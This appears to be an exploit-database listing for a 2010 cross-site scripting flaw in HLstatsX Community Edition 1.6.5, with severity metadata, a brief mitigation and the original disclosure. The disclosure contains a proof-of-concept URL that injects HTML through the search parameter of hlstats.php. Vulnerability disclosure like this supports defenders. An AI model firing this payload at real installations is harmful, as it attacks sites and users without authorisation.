header-logo
Suggest Exploit
vendor:
HLstatsX Community Edition
by:
Sora
7,5
CVSS
HIGH
Cross Site Scripting
79
CWE
Product Name: HLstatsX Community Edition
Affected Version From: 1.6.5
Affected Version To: 1.6.5
Patch Exists: NO
Related CWE: N/A
CPE: hlstatsx_ce
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows Vista
2010

HLstatsX Community Edition 1.6.5 Cross Site Scripting Vulnerability

HLstatsX Community Edition suffers from a XSS vulnerability. The vulnerability can be exploited by sending a maliciously crafted URL to the vulnerable application. The URL contains a payload which is executed in the browser of the victim.

Mitigation:

Input validation should be used to prevent XSS attacks. The application should validate all user input and reject any malicious input.
Source

Exploit-DB raw data:

# Exploit Title: HLstatsX Community Edition 1.6.5 Cross Site Scripting Vulnerability
# Date: January 1st, 2010
# Author: Sora
# Version: 1.6.5 and lower versions
# Tested on: Windows Vista

-------------------------------------------
> HLstatsX CE 1.6.5 XSS Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/

# DESCRIPTION:
HLstatsX Community Edition suffers from a XSS vulnerability.

# PoC:
http://www.example.com/hlstatsx/hlstats.php?mode=search&q=%3CH1%3EHacked by Sora%3C%2FH1%3E&st=player&game=l4d

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!

Navigation

Suggest Exploit

Services By CQR